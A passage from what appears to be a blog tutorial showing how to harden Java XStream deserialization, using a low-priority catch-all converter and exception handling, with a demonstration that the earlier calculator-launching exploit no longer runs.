import com.thoughtworks.xstream.io.HierarchicalStreamReader;  
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;

public class CatchAllConverter implements Converter {

    public boolean canConvert(Class clazz) {
        return true;
    }

    public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) {
    }

    public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
       return null;
    }

}

Ok, now before deserializing our untrusted input we have to register our new converters:

XStream xstream = new XStream(new DomDriver());  
xstream.processAnnotations(Contact.class);  
xstream.registerConverter(new ContactConverter());  
xstream.registerConverter(new CatchAllConverter(), XStream.PRIORITY_VERY_LOW);  

We need to wrap our deserializing call within a try-catch block:

try {  
        Contact expl = (Contact) xstream.fromXML(payload);
} catch (com.thoughtworks.xstream.converters.ConversionException ex) {
    System.out.println("Trying to deserialize null object. Make sure the input is not null and that your custom converters have higher priority than the Catch-All converter");
}

And that's pretty much it, lets run the application again with our malicious payload:

<contact>  
  <name>Alvaro</name>
</contact>  
Trying to deserialize null object. Make sure the input is not null and that your custom converters have higher priority than the Catch-All converter  

Voila!! no calculator this time!

Further reading

Thanks for reading!